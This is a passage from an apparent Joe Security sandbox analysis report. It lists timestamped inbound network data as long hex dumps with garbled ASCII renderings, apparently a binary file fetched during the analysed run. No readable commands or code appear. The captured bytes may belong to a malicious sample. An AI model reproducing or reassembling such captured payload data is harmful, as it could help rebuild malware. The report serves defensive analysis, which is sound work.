ae 71 9c 61 0b d8 4a 56 0c a4 ff c1 94 93 29 5f cf Data Ascii: `Y.>3zVN"0wifx*={Cf~|2wuC22K.~k6fYGyJ t}q:j:.4`"0(tj]X-A3=+]_p1=rv@xogyGAt`-#wqaJV)_

2022-01-15 19:23:31 UTC 4375 IN Data Raw: f3 bf 6f b4 0f be 30 44 09 c8 b6 3d 5e 7a 5b 51 5e b4 07 52 50 fa 8f 82 ec a2 8d ad 21 64 d3 19 ef 2d 8a 64 b7 41 cf 9a 99 38 1f f1 37 4d d9 82 0d e2 be c2 87 00 b5 46 ea 13 fd b7 e4 61 ac 33 17 b3 5c 69 25 7e dc c2 2c e3 1b fe 17 ff dd 55 29 14 3c 05 f1 c0 3f bc a9 1e 70 f6 a0 29 1b cd f8 41 ca 25 e9 4d 65 8b 2d 21 5c a7 a9 99 cf 4e 6a dd 7b 43 9c 12 901b e6 40 ab b7 83 55 ed 08 02 06 00 c6 48 48 8d 8e ff 45 0a 41 99 15 42 2e 26 67 02 ea d2 6e a0 35 33 02 4c 6e 77 10 7a d0 01 e1 e7 91 9e 5a ef 8c 5e bf e0 8a e4 1f fb 10 c1 d5 c5 81 ea 25 24 c4 48 0b d9 88 77 47 2e 99 99 c3 b3 e0 0f 57 fa 3c da a1 ba a3 be a6 b5 ed 9f f5 67 e8 17 25 25 de c1 39 2c 82 e1 3e 2b 06 d9 f1 74 df 4a 20 28 3e e2 83 4c 1b 45 f3 9b 72 30 37 79 8d 94 19 19 6c af 4a 93 79 ce 86 bf Data Ascii: o0D=^z[Q^RP!d-dA87MFa3\i%~,U)<?p)A%Me-!\Nj{C@UHHEAB.&gn53LnwzZ^%$HwG.W<g%%9,>+tJ (>LEr07ylJy

2022-01-15 19:23:31 UTC 4391 IN Data Raw: 0e d4 fa b2 f6 11 4a 5f d8 89 f3 b1 bf eb 84 32 b2 a7 9f 5d 16 2c 09 5f 5a 0f 2d eb 62 83 23 8e 65 c7 fe 02 f7 27 d9 c6 1a d9 6b 27 ba 72 d7 47 49 a4 31 2f 65 b0 94 d8 21 32 60 01 05 0f b9 5b 64 5c 7d e5 f9 6d 03 a0 a2 6c 6a 22 df 8a 1d 0f a6 9c ae 3c 6e 3b b7 2b ce 5a f4 46 1c 24 e5 62 7c 37 c7 36 c1 ef 86 90 26 94 b9 d1 c0 44 c8 ad 7f e0 4f 8e 10 bc 77 68 fd 98 c5 8f f3 1e 25 b0 47 86 84 57 18 53 8d c8 df cf ae 1c 4d 5c de ef 4f b5 18 ce 10 87 45 11 81 3d 96 8c 8a 52 33 1f 1b ef 16 8b e0 3e 6f 6a 98 61 b8 69 28 03 47 3e a3 ee dc 2e 84 9b 3e 4f 36 4a ee b2 d5 a5 8b 86 02 14 ae 16 a9 c0 29 86 98 4a 1a 24 dc 17 79 92 76 9d 63 13 81 f5 ad 92 7a 8c 89 8b 41 05 53 51 bc 80 c2 ea f6 1e ee 4d d4 dc 07 1a 77 c1 df dc 29 5a d5 46 85 ff 7a 13 7c d1 e3 f8 63 b2 10 Data Ascii: J_2],_Z-b#e'k'rGI1/e!2`[d\}mlj"<n;+ZF$b|76&DOwh%GWSM\OE=R3>ojai(G>.>O6J)J$yvczASQMw)ZFz|c

2022-01-15 19:23:31 UTC 4407 IN Data Raw: 4a 1a 5a 1c b1 e0 7e 07 bd ea b6 69 5f e3 39 1c ed 50 38 75 9f 75 0f 99 88 69 af f4 d0 26 d8 66 21 90 90 fa 7e 09 50 02 90 e1 be aa f6 54 8a dd ff b6 f0 63 fe 6e 18 1e 42 28 5a a7 ad a6 bf 9b cc 0a 41 34 2c 50 e0 a8 0b 0a f8 79 90 e5 4a 09 72 b5 ba 08 dd e8 28 c8 7a cf e3 dc fc a5 c3 20 7f 34 6f 8f e4 54 ff 40 3a 56 c2 c5 b9 1f a6 bc 16 1d 33 61 64 9b 14 cb 93 1c 35 3e d9 71 50 b2 01 01 63 31 7c 07 ae 6d f6 24 43 cb 67 17 ad 07 84 02 f2 f5 db 1d 48 e7 94 06 50 53 90 85 10 49 65 93 1b 6e ca c2 c2 00 3b 07 3b ef 0d cc 56 b7 75 70 f5 c0 90 9c 3a 96 3e 39 81 3a 8f c5 24 9a 6b 54 ad 87 09 a4 04 a0 b8 e0 61 31 d9 e9 e9 27 2c a8 d5 1c 59 db 5f bf a5 55 a6 c9 49 8f 64 6e c8 7d fe 94 01 5b 40 89 ee 81 9c 18 98 e9 29 10 67 c2 ec 3a 44 b9 b5 39 06 e4 c9 ef 1e 55 8b Data Ascii: JZ~i_9P8uui&f!~PTcnB(ZA4,PyJr(z 4oT@:V3ad5>qPc1|m$CgHPSIen;;Vup:>9:$kTa1',Y_UIdn}[@)g:D9U

2022-01-15 19:23:31 UTC 4423 IN Data Raw: 1e 8f ac 75 99 b7 09 eb 3e b8 ea ae b5 f4 45 ef f9 70 c6 4c 92 38 3a b8 32 24 74 42 db 9d 98 50 b4 c6 1a 7c 44 f6 61 48 34 0f ce 00 b9 0c 57 9b bf 31 52 1a 6a fd fa a6 60 52 1e 73 c1 a3 f8 31 77 2f 44 10 86 8e 3a 9e e1 10 2e af e8 6a 14 19 f6 4f ff 47 0d 01 49 0c e8 0c 0e 7b d2 10 6a 7d b9 74 fc bd 64 5d ab 03 4d d6 52 98 6f 31 a4 ec 24 0e 8a ba d0 f0 58 c4 2d c9 ad 00 34 ef 6d db cf 0d cc 69 ea 49 2a 23 4c cd e7 82 25 3d fe 91 66 ee 16 71 09 1c 7d b3 3a 57 e9 8f 0e ec 3e aa 7f 3e 8a fa 89 91 c9 b5 f0 13 54 b3 72 60 b9 1c 79 09 73 99 30 e6 2e 70 e9 94 e7 88 91 8f a3 1e 30 33 88 bd a5 43 64 de 1a a4 c3 f7 56 c5 31 ad 44 01 b7 03 50 df dc 4b 4f b1 ee cb 80 0f b2 46 b7 e4 86 1d df 2f fd 18 aa 1b f9 bd 8d 53 30 ba b1 cc 4c bd 72 15 24 7c d1 99 f1 e8 5f 19 4f Data Ascii: u>EpL8:2$tBP|DaH4W1Rj`Rs1w/D:.jOGI{j}td]MRo1$X-4miI*#L%=fq}:W>>Tr`ys0.p03CdV1DPKOF/S0Lr$|_O

2022-01-15 19:23:31 UTC 4439 IN Data Raw: c4 63 7d 92 f2 af 36 80 77 de 7b 2d 15 de fc ba 88 02 d2 8b 0a 03 34 6c 87 22 7b 0e 88 64 b4 8f 75 21 30 e6 85 fb 17 c6 56 11 39 a2 02 f3 60 8d 40 22 8d 66 70 5e 89 26 b3 c1 5c 91 be 17 f6 02 0e 87 d5 b4 29 76 3b 58 0c 94 ec ff 73 52 95 54 1a e7 89 5e ff 2b c0 4b c0 08 15 b2 2e 7c 0a 8b fe e6 bd b8 7b ae 7b 81 b2 f7 14 4f da c4 75 a3 af 47 1c 5d 14 ca bd f6 93 0c 55 cd f5 08 ba 24 7e d5 7a f3 2f 2c 4a b9 74 65 5c 1d 05 a2 84 74 48 53 20 45 1a 18 04 73 fa c5 44 28 d1 84 17 47 86 32 10 05 c4 c3 f0 2c 8e d4 84 c9 ff 8d 5d bc c4 e5 97 2a 34 69 05 cd 22 1d 21 67 88 8d 6e ad 6e d6 d1 f7 d8 c6 ca 13 ec 8a 77 e9 b1 a5 10 49 56 f9 f4 9b b2 23 b4 27 3a 2d 3f 74 48 db 04 4a 5b cf b3 2f c6 3f a4 4e 44 09 f2 0f 06 5a 90 e0 c0 a1 71 5d 94 f5 e9 d8 3c 22 0d 04 f4 a9 d6 Data Ascii: c}6w{-4l"{du!0V9`@"fp^&\)v;XsRT^+K.|{{OuG]U$~z/,Jte\tHS EsD(G2,]*4i"!gnnwIV#':-?tHJ[/?NDZq]<"

2022-01-15 19:23:31 UTC 4455 IN Data Raw: 61 a7 a0 0a f5 a1 0a bd 5b 54 de 3e a0 1e 99 11 16 08 c2 90 6a b8 16 89 61 39 2b 95 21 78 73 27 dc f5 61 c2 13 cd f9 aa f4 ba cc f9 37 ca dd c3 26 97 c0 2d 1e 9a 43 d1 fb fc d0 ff f5 f1 2a 8e 70 8b 4c 32 79 86 bd e7 32 e1 ff d3 ea 7b 0b 4a a3 23 87 57 64 b2 23 a8 37 cb b7 07 ac b0 71 20 dc 87 c7 98 17 2a 69 cf 43 e5 d9 de ff 95 a5 9f cd a0 de ed 09 e1 2d 2e f2 41 8e eb 8f 84 0b c6 0f fb 22 e5 25 ba 2e 3c 71 d7 42 c0 b8 44 67 a9 1a 44 bb 99 cd 77 1b f5 68 3d df 83 06 bb 5147 3d af 45 73 28 72 d4 cc 8c 43 e0 4f 50 9e 83 bf 1b 89 9c e2 99 cc d6 89 00 f5 70 f0 b8 66 57 95 5b 63 02 03 4a ca 64 15 2c 24 51 65 b8 90 98 2b 54 ae 2b c2 e7 6b 9d 0d aa 91 34 b0 d6 04 28 81 d8 5e f5 dc 0e 8a e3 27 f6 cd 1a 39 2c 11 80 af 82 0d 8c 27 a1 d6 d6 cc c8 5a a9 8e 69 29 0e Data Ascii: a[T>ja9+!xs'a7&-C*pL2y2{J#Wd#7q *iC-.A"%.<qBDgDwh=QG=Es(rCOPpfW[cJd,$Qe+T+k4(^'9,'Zi)

2022-01-15 19:23:31 UTC 4471 IN Data Raw: 84 08 e6 d4 f0 16 4b 16 c7 51 f0 d3 68 1e f5 6c 2c ff ed 80 ce b8 f1 c0 8d aa 04 50 57 7d 53 7e b4 b3 b7 68 17 88 3b 7d 86 5c 62 87 14 63 90 7a 9d b6 50 8e b0 5d 9d 46 32 3c 70 19 3b bf a6 66 41 f0 a2 9d b2 4c ec db 42 94 87 22 66 8c 44 f3 70 ae 19 88 ca 61 f2 4e 95 1d 0d ce 65 69 4c aa 46 b3 99 a2 9e 34 1d f1 0a 80 c4 d5 f2 e4 ba 7a 8a f1 c3 51 da bb d7 fd e0 6d 17 6f 8c 48 d1 8b 33 e5 a9 69 66 51 e6 90 f4 11 50 33 49 3f f7 3e 3e 15 91 cd e5 bd e6 c3 b9 c0 6d 7d 54 a8 54 31 dc 9e b6 cd 38 2c c1 2f cd 7e d9 52 17 06 60 11 34 60 58 a1 91 5b 17 5e e6 33 53 ec 4f 92 3c 1f 4d a0 ce c2 e3 df 34 b2 b6 f3 88 f2 27 50 d1 ea f9 9d 54 80 6f d6 ae d8 14 aa 92 4e a4 d0 f1 fd e2 65 2d ed 0b e0 d2 06 71 75 af 5a f4 a4 c8 18 06 a9 74 ec 2a 73 cd ef f8 8d 27 2a b0 8c 26 Data Ascii: KQhl,PW}S~h;}\bczP]F2<p;fALB"fDpaNeiLF4zQmoH3ifQP3I?>>m}TT18,/~R`4`X[^3SO<M4'PToNe-quZt*s'*&

2022-01-15 19:23:31 UTC 4487 IN Data Raw: 14 fa 84 3d 4b 5f 5f e9 7f 7f b1 24 a3 b0 7e 2d 61 ae e8 1f 84 6f 8d ba ee 37 49 b2 2e 48 bc 87 91 0b 13 6d 45 3f 43 60 6e f8 33 dd 4c 58 bf 3f dc 0b 60 bb 3c 4e 5d e1 0c 53 96 2f 12 f3 70 7b d7 0e 6e df 60 21 29 0b c3 77 b7 1a dd f0 03 ea 78 5d 2d cf 48 4c 70 83 ae c7 80 14 c2 6e 8e c7 64 4c 7e 40 5c fd f5 43 aa 4f 8b 30 b3 8e 7d 54 5a 7b 87 88 f6 b8 df 0e 0f 8b 02 a6 c5 f6 6b 53 f8 cf 57 e2 c8 67 0b e5 45 8b 55 60 bc 91 2d 18 f0 7d ea e9 11 89 53 c4 cf 9e 76 38 f3 c9 11 34 09 6f 17 01 15 fc 21 a9 4a b9 cc 3d df 3d ec 88 ee b4 84 4b f5 33 25 ec e5 5e 98 28 bc 7e 38 b4 af e8 2a 2b 36 5d f1 37 a0 c1 2d c0 92 0f 98 06 dd e1 be 00 42 5c 2f b6 0a 85 29 8b a0 40 85 ed d0 14 6b ec 03 c4 b1 74 38 02 50 b5 b4 f6 8d fe bc 8e a0 f5 32 4d 7f aa 0d fb a2 22 25 dd ae Data Ascii: =K__$~-ao7I.HmE?C`n3LX?`<N]S/p{n`!)wx]-HLpndL~@\CO0}TZ{kSWgEU`-}Sv84o!J==K3%^(~8*+6]7-B\/)@kt8P2M"%

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 59 of 103

2022-01-15 19:23:31 UTC 4503 IN Data Raw: b9 0a eb 32 97 88 31 a9 ae 6c c5 62 0e 85 e4 83 95 9d 19 73 4b 51 7d 61 7c a3 d5 40 ee d5 22 1f 5f 16 27 95 de 18 b2 59 df f6 72 b3 79 db 37 a2 71 57 5f 45 29 e4 0b 87 c9 e6 14 14 c6 b2 21 e4 f1 8a 91 64 d7 6a bb b3 89 de f8 58 11 2e e1 33 a4 fb be 96 af 34 17 66 1d 1f 5f ee 85 01 50 62 11 a5 f4 9a 01 41 ae 80 ae fa e5 d0 8d fb c1 b1 2b 56 f5 12 6d a1 46 71 bd b6 28 ca 83 e7 03 bd e3 1c 77 a6 18 5d b7 e8 92 72 64 66 e7 e9 50 f1 2c a4 28 49 e0 3a b2 fe 51 34 19 f2 97 ec f2 10 2d 32 cf 59 9d 3c d7 d1 47 0f ea 94 44 f1 10 51 cb 19 81 4a 9e 53 6c 8e 43 27 0d 4a fd 1d 6e 73 1c 6c 6c f9 09 31 ed a9 2f 22 ee ff b0 f5 87 ac 0c d7 b5 e2 f0 24 f6 f1 9d 75 cc ce 0e 71 8b 98 6b 95 9d fb 58 7a 40 28 dc da c0 65 1c 72 64 39 f9 f1 0e d5 5c e7 35 4d 73 eb 51 0c 9c 9e 4f Data Ascii: 21lbsKQ}a|@"_'Yry7qW_E)!djX.34f_PbA+VmFq(w]rdfP,(I:Q4-2Y<GDQJSlC'Jnsll1/"$uqkXz@(erd9\5MsQO

2022-01-15 19:23:31 UTC 4519 IN Data Raw: 2d 2f 85 15 63 fe b9 1d d3 f4 e8 cd a0 44 b1 1e 00 79 7e 83 47 aa f2 87 eb 01 72 f1 18 1c 15 b9 49 e6 ed eb b9 d3 e7 8f 21 22 3d ff 50 af 57 d6 9a 98 21 16 8e 4b 79 2c e2 63 43 fa 2e 8b 6f 38 11 ca f6 07 da 7d 54 77 f1 8d 27 24 8d 5c 65 5c 2a 18 88 fc 11 d1 f0 af 1e da 53 18 c9 f0 70 87 5f 12 ba aa 4d 7b 6e db fe e6 e8 76 77 0e ed a3 78 eb 91 bd 71 56 b0 36 4f bd 1a 6f ec be 5c 99 dd 9a 04 f0 64 fc 5c a1 a7 c5 21 f1 87 8e 37 06 e1 66 8a c9 d7 bf 93 ec b7 49 7f 43 43 88 47 83 7d 1b 72 ed b4 d6 1e 82 1f a5 cd 34 6a 47 f1 bc 2d 3e 2e 34 e9 9f 11 ad 12 1a 20 66 46 53 3c ce ca 36 1d e4 3a e4 60 62 39 69 7b 53 ce 84 11 0f 0e 5b 91 8d 4c 1e 49 b7 b0 f9 19 5f 38 40 68 ea e3 07 55 cd 65 fe 8b c9 a2 2b 64 9a 8d 25 d0 84 c7 0a 31 dd 42 c8 97 15 4f 9f bf 66 b0 ec 68 Data Ascii: -/cDy~GrI!"=PW!Ky,cC.o8}Tw'$\e\*Sp_M{nvwxqV6Oo\d\!7fICCG}r4jG->.4 fFS<6:`b9i{S[LI_8@hUe+d%1BOfh

2022-01-15 19:23:31 UTC 4535 IN Data Raw: 3f c9 c4 12 ef 6f 2e 21 8d b9 eb 50 ce a7 53 2b 22 e3 1e d6 6d f8 da 48 5b a3 2c 2a 6a 08 bb 40 a7 c5 5d 56 bf 80 35 41 b9 62 4f f2 5e 51 fb 28 dd 1d fc 24 f6 46 56 e7 1f be 52 31 40 de 45 21 f3 7c 03 2e 2e 0e a3 c6 7c c3 1a 5d 83 c6 d8 29 cf ac ee f3 ce f6 ae 40 81 aa 98 50 f5 23 a0 dc 58 82 bd f4 b5 4c 11 80 b6 23 70 c4 30 97 1e a1 0e 68 3d 76 80 d2 54 c4 12 92 11 c3 b5 d6 db cf 25 fe 1d fc 2d c7 b2 fe b3 ac 86 39 c8 c6 a4 bb b4 c9 a4 92 0f 6f 72 94 a2 2c 97 47 1e 1c b9 04 1f e6 24 d9 97 9b 53 c8 7e 50 16 60 4f 5a ba 73 5c a0 bf c0 03 86 9b 34 49 c3 05 e3 b1 94 aa 5f 93 62 f3 63 17 5e 71 34 d1 2c 35 48 92 69 3f 6f 9e ff 7e a6 40 32 76 97 ad cf 50 ad b4 15 bb 5c 3f b9 c0 8f 3e ae 72 21 76 91 67 d5 41 7b cd e2 36 9a 85 da ad a6 5b 55 6a f1 b0 18 6c f4 8b Data Ascii: ?o.!PS+"mH[,*j@]V5AbO^Q($FVR1@E!|..|])@P#XL#p0h=vT%-9or,G$S~P`OZs\4I_bc^q4,5Hi?o~@2vP\?>r!vgA{6[Ujl

2022-01-15 19:23:31 UTC 4551 IN Data Raw: 81 9d 69 4b 52 3b d3 ed a2 49 76 88 36 97 f7 9f 67 a0 53 8e 05 05 a7 7e 03 cc a3 9f 89 c3 7f 94 71 99 e2 5b 69 28 86 fc a5 e1 48 44 43 94 39 e0 dd d1 cf 62 19 c0 85 c3 df f8 84 e8 42 78 5a 97 c2 5e 19 6f 09 9f 3c f2 26 a8 6d a9 7e c5 8e 08 3b dd ed 80 cd 60 e1 20 3d f4 15 e2 9d 7f bd c8 dd e3 1a b4 e5 47 fc 11 71 48 14 42 9e 8f 45 50 2f 44 29 36 f4 7b 90 13 09 69 3b ce d4 86 88 a6 ab 9f ea 5c 84 18 e4 e3 8f df b3 ea d8 94 0c 65 fe 1e 32 c9 5f 64 da dc 31 69 c0 9d 6b b2 b9 d5 ea bc 56 a4 14 d2 06 09 cf cf ae 66 de 91 8c d7 ac a7 41 38 56 18 bc a8 ec 8c b5 9d f9 12 e9 14 27 5e b2 62 2b 66 4f 22 0d e9 9b 41 56 e3 3f 69 03 52 55 25 0b 5f b4 fd e7 33 82 b2 24 31 90 cb 3b a3 c5 df 99 11 f2 41 42 30 6f e1 5b 8692 0c 13 39 1d 94 dd 31 44 4c d7 74 26 ce a3 9d a6 Data Ascii: iKR;Iv6gS~q[i(HDC9bBxZ^o<&m~;` =GqHBEP/D)6{i;\e2_d1ikVfA8V'^b+fO"AV?iRU%_3$1;AB0o[91DLt&

2022-01-15 19:23:31 UTC 4567 IN Data Raw: 30 37 8f b0 f6 46 45 b3 65 cb fd 67 77 e6 53 fa 32 5d db 60 23 be 2a bc 7a 16 b5 af 16 8a da 85 6e d5 bf 09 e6 48 69 8d 1e 9b 0d 29 92 08 7a aa 0d 21 4c 19 a1 77 b3 e9 9d d8 81 29 17 5a d6 96 94 e1 cb 98 cd be 67 01 2c ee 97 f9 56 04 7f 49 83 15 e0 f2 a9 20 f4 8a 37 f4 c2 4c 92 72 1f 36 d8 0d 3d b1 00 de ec 07 25 45 bf d8 ad 9b 30 d6 72 3b 1e ff dd 97 eb ba c8 a3 a6 38 ac 39 fa ff 97 d3 ef 34 e7 bb b2 fd de 4e 3f cc de 2a 23 54 4f a1 b3 e5 a6 e5 16 29 33 49 38 d1 03 a3 df 97 7e 7c 19 6c e5 92 85 3c 70 22 a2 d5 83 94 e3 86 af 22 25 7a d7 85 68 37 25 76 73 83 8c 22 a1 c6 56 8e d7 d9 3c 7e 48 b7 b6 f9 bf e0 fe 9e 5c ad 42 e6 bb 97 5d a4 5b 5c 58 34 60 96 b5 c3 92 ac a9 60 b5 05 e7 16 e9 9d aa c8 85 b7 9d ac 38 c8 39 39 5e a6 f1 fa cf 84 29 e7 2d 75 8c 0c a0 Data Ascii: 07FEegwS2]`#*znHi)z!Lw)Zg,VI 7Lr6=%E0r;894N?*#TO)3I8~|l<p""%zh7%vs"V<~H\B][\X4``899^)-u

2022-01-15 19:23:31 UTC 4583 IN Data Raw: 90 10 ff fd 3a 6d aa 4e 9d a1 0f d4 66 f1 f7 41 85 9d 69 39 ed 19 85 64 3f 7e 3b df 70 6f c3 b9 ef 69 e9 95 10 37 61 7a 43 6f 84 7f b8 83 29 ab ba fe 7e 00 b0 36 25 8d 8f 8d 17 bf ca f6 26 70 b0 be f9 a8 bd fe 11 bf 2f 78 67 82 42 7c 4b da 49 eb 56 b4 13 75 d7 e7 29 7e 18 78 40 86 dd 4b 3d 73 0c c3 30 e5 a0 1e f1 77 0a cf 5b 15 77 be 20 39 a8 73 e1 19 55 72 6f 87 7d 19 a8 a6 8f 47 62 bc cb de d2 c8 22 5b 6b bf d9 16 91 d3 33 f3 85 d2 34 71 32 92 17 db 8c ef 9a d5 a7 04 e4 b1 c4 63 f0 9e bf d9 69 62 84 19 99 c3 0f 0e cb 65 7d b2 f6 de 2d 09 cd fc 5a e3 70 5e 2c c1 9a 79 b9 44 6b 22 8d 57 38 25 60 f2 c3 10 f7 53 8f d9 96 d3 b3 1f a0 20 75 d2 2b fe cd d1 c8 91 68 70 d6 84 e5 db aa e4 3f 9a 73 68 87 56 b1 45 dd 52 ac cb 03 6e f4 a5 c7 d9 61 41 cd fd 3b dd 76 Data Ascii: :mNfAi9d?~;poi7azCo)~6%&p/xgB|KIVu)~x@K=s0w[w 9sUro}Gb"[k34q2cibe}-Zp^,yDk"W8%`S u+hp?shVERnaA;v

2022-01-15 19:23:31 UTC 4599 IN Data Raw: 4f 75 40 6c 4b 49 eb d9 49 45 32 51 73 f2 5e a0 18 a8 75 01 c5 15 77 c8 40 d1 1a 44 41 58 ae 07 35 86 09 8a a1 36 4a 17 46 cb 6b 4a 8c 4c 0c 78 d7 de f7 40 43 97 06 54 73 18 d4 dd 1c 28 5a 92 79 a0 d2 65 36 e5 24 b6 67 9e 84 4b 83 0a 88 48 0c 0a de 7e d4 ce c6 f3 62 25 2d a0 6d 2f 20 45 98 9b e0 c6 ed ec dd 3b 71 11 58 61 32 88 4b 17 df 19 04 de e9 a7 83 e8 46 03 cd 10 52 3e fa d6 4d 04 61 fe b5 80 43 4e 56 a3 60 9a 21 1b 1d da 88 21 cd 82 b9 1c a5 1d 43 35 96 41 75 f3 16 ba 3b 07 50 3b 73 77 aa ef 61 bc 36 20 54 05 05 95 9b 8b ee 74 b6 a3 d0 8c 6e 8c 41 d1 cc 94 79 65 b3 e7 c1 ea 85 0f 21 b0 ee cf 1a 06 3b 94 f7 ff e6 bf 15 00 63 c9 80 c3 fa b9 4a 73 4d 3d a6 a6 f1 f6 32 49 ee 52 02 c6 f2 07 9c a2 b5 80 d1 ef da c8 c7 64 d0 77 4a 01 2e 16 88 58 0f cd ec Data Ascii: Ou@lKIIE2Qs^uw@DAX56JFkJLx@CTs(Zye6$gKH~b%-m/ E;qXa2KFR>MaCNV`!!C5Au;P;swa6 TtnAye!;cJsM=2IRdwJ.X

2022-01-15 19:23:31 UTC 4615 IN Data Raw: 34 8c 83 45 bf 26 d6 03 9a a3 e9 2d 39 8f d2 6b 59 ec 88 68 ef 04 a2 f9 5c 4a ad 14 02 c5 ad 15 01 55 66 81 a7 5b 3a ad 43 76 01 69 ce c7 61 0e 0e 4f 67 1c 41 a6 bc d8 52 b9 09 58 24 fe 9a e1 c7 5e 2f fe 60 3e 17 e9 8c 53 d8 bd 29 ce 1b 95 d5 7b ca 11 10 0c c0 71 3e 4c 40 70 fa 86 8e 82 62 31 fb 1a 8f bd eb de 8c 1d 91 46 ef 17 fb 73 fa 19 da 0b ac 2d d0 f6 29 4d 50 39 2b f7 68 11 d1 4f ce 28 8a 98 cc e5 9b 8d d2 fa be f6 5c 1c a5 33 15 14 d3 27 46 b8 1e 4c 6e 97 81 ef f5 86 2b 58 11 d2 69 5c 51 c4 a5 51 f4 fe bb 62 46 34 1c 48 23 e6 f9 aa e0 3e 13 71 c3 3d d7 e4 cd fb 05 c5 07 d3 6c a9cc 66 71 92 7c 81 96 79 29 30 24 33 26 7b ee 42 51 10 bb af 32 06 42 6a a2 d9 c7 0c c0 8c cd a2 9a e3 f9 5b bd ed 0e 6c eb 8c 6c bf 03 73 65 4e b1 a1 87 e6 ca ce d7 16 4e Data Ascii: 4E&-9kYh\JUf[:CviaOgARX$^/`>S){q>L@pb1Fs-)MP9+hO(\3'FLn+Xi\QQbF4H#>q=lfq|y)0$3&{BQ2Bj[llseNN

2022-01-15 19:23:31 UTC 4619 IN Data Raw: 19 a9 da b8 3a 1a 28 7c 5b 21 c4 c7 8b 03 8f 6b 42 31 c1 dd 2f ba e8 1f 0c 33 9a 72 b2 c8 68 09 3b e9 12 fd 78 5e 72 59 9c 72 b5 6c 89 10 a0 3b 84 c4 2a 90 8d 8a 8e 7c b7 85 6e b5 82 83 7f 22 af 78 35 7e c3 0f 3f 8d e9 f0 45 22 a3 db c5 cf 56 25 bc 99 24 30 64 43 d9 bc 85 ac 42 ba ca bf ae a7 47 ed 4b 2c 2d d4 6e 1f f6 d1 df 57 55 ae f1 2d 71 c1 a8 82 84 d1 8e 41 13 a9 2a 2b 20 3b c8 28 3b d7 22 c3 33 c1 6d 5c ff 24 c3 53 05 83 62 17 75 9c 79 b4 21 a1 0d 5c f6 d2 07 51 79 2f bd 3c f3 89 b7 47 21 c8 76 79 5d 9d 3c 64 1c 1c df a3 56 e9 8c 87 b1 a5 0e 27 5a d9 84 b0 e4 36 65 a0 8d 61 6c 34 d9 be 2a a0 52 cc ad bd 03 46 d7 6d 21 e5 18 28 3f 8d 2d 0a 8a 95 7d f6 2c 8d 08 a3 b7 11 de e8 2c ec 49 3c ff b3 9c 1e dc 36 35 81 23 f9 c6 24 c8 20 a3 c2 cd 15 9e 8c 21 Data Ascii: :(|[!kB1/3rh;x^rYrl;*|n"x5~?E"V%$0dCBGK,-nWU-qA*+ ;(;"3m\$Sbuy!\Qy/<G!vy]<dV'Z6eal4*RFm!(?-},,I<65#$ !

2022-01-15 19:23:31 UTC 4631 IN Data Raw: 77 de 0f bb ab 41 6f 5c 0e 75 ed 5d 5b 4c 48 27 60 e6 20 e8 dc 20 8a 91 65 b5 bc f4 7d 70 4e 67 4d bd 9e fd 5b c5 43 77 5a 18 59 cc 93 ff 7c a0 12 0a fb 88 6d d6 98 96 e6 20 dd 3e d7 ab e7 21 55 cf 1c 4a 93 77 f9 c0 60 69 f8 40 7b e4 1d 1b fa e8 53 f7 d3 d5 0a e1 d0 28 ae 42 e0 5c ae 58 6e 44 1c ca b8 9f 56 5f ca 18 bd ec f0 d8 8e 43 d4 ff a7 c9 2c c7 b8 0c 8f 17 ed e4 b9 96 81 ec 12 f3 67 12 32 64 5b 2a 90 53 bf bf dc bf 31 93 bf 22 38 b6 08 5b 29 54 b8 cc ec dc 36 d4 29 3f dd 97 29 82 34 dd c9 ca 87 e1 29 f1 51 40 e8 8a 83 63 1f 07 62 7b 8a 20 ff 71 84 3c 63 58 41 b4 d0 1e 95 b9 e7 b4 24 a4 07 7e f8 7a bc 0c 44 74 ef 75 9a fb 75 83 e4 41 44 b2 42 56 82 a3 2e 3b c9 13 cd db 05 2e 35 65 25 c7 0f e6 33 42 ef 90 8f af b1 76 df 94 bf 0b e4 b2 ee 23 00 60 b7 Data Ascii: wAo\u][LH'` e}pNgM[CwZY|m >!UJw`i@{S(B\XnDV_C,g2d[*S1"8[)T6)?)4)Q@cb{ q<cXA$~zDtuuADBV.;.5e%3Bv#`

TimestampkBytestransferred Direction Data

Copyright Joe Security LLC 2022 Page 60 of 103

2022-01-15 19:23:31 UTC 4647 IN Data Raw: 2e 6e 78 e9 f1 d2 22 c1 5e e4 6f 44 db db 15 4c b9 0d ca d6 8e 2e 7e 10 4a 47 16 0d 30 3a f4 47 98 e1 ae 95 de 83 d9 cf 18 cb d6 8e d0 71 a9 42 eb 1c e8 24 48 04 a0 93 3c 2e 1c 55 28 da 94 25 fd 3c 41 4e 23 50 b6 0e b2 fa 8a 50 cc f6 60 90 c4 21 dd a5 87 c5 59 e7 3a 11 80 92 c5 0b 4a b5 54 21 c6 c3 64 e3 13 a3 99 21 3d 26 dc 35 36 74 4b 74 f5 65 3d 8b 75 56 8f 19 d3 26 e2 69 aa ee ce 35 1d f2 09 dd aa 30 1e 75 45 34 f7 c7 ca 1e 92 66 5a 02 28 6a 7d 78 fa 91 95 7a e8 cc c0 fb 47 3f a0 45 e0 98 a5 15 41 8e 50 84 6d 07 26 f7 8e b7 c2 c9 5b 36 c2 8d 9b 46 f1 5d 5e f2 6f f5 24 9c 5b c9 a4 d6 06 0b a1 4f 58 fe cf 92 4c 13 0a 05 cf 7d 72 8d c7 a2 71 69 72 60 79 dc 10 f2 bf de 31 78 96 11 79 ca 5e d5 af fc a4 e6 6d dc 8b af ca ab c8 91 46 c7 8e 3c cc 86 ee ee 7e Data Ascii: .nx"^oDL.~JG0:GqB$H<.U(%<AN#PP`!Y:JT!d!=&56tKte=uV&i50uE4fZ(j}xzG?EAPm&[6F]^o$[OXL}rqir`y1xy^mF<~

2022-01-15 19:23:31 UTC 4651 IN Data Raw: 97 84 bc ab 62 0e 1c f8 66 af d8 a2 60 0b a3 c8 26 8f 9b 52 6d 0a 62 fe 39 f6 8b 47 e1 e3 b6 51 00 6f c5 c2 83 eb 82 5b 63 1f 5f fc c0 a9 33 49 be d1 51 0f 8d 52 2c 5c b2 68 fe 28 29 d9 3e d7 96 13 aa d6 a8 fc af bd 09 75 42 9e 6f da ab f8 88 08 ad db 79 09 d7 32 96 40 4b d9 72 17 46 b7 95 97 a1 1d d5 20 ca 8a 2f cb 23 24 41 de 02 cd 0f 69 1a df 40 b3 90 e1 b0 07 85 03 67 79 28 1b 5a 16 2c a7 f8 df 52 6a 53 a5 11 24 9a 64 5e 35 9f 6c 0a f9 31 01 ba b4 de da 57 12 a4 4c c0 56 bd 95 75 c4 53 1c e1 7b b2 1f ca 75 bf c8 f0 6d 43 df 92 52 54 8f 77 20 ce 3a c1 2b 5f eb 6b 11 42 76 76 e5 4a cb ce cc 5c 00 ec e8 9c 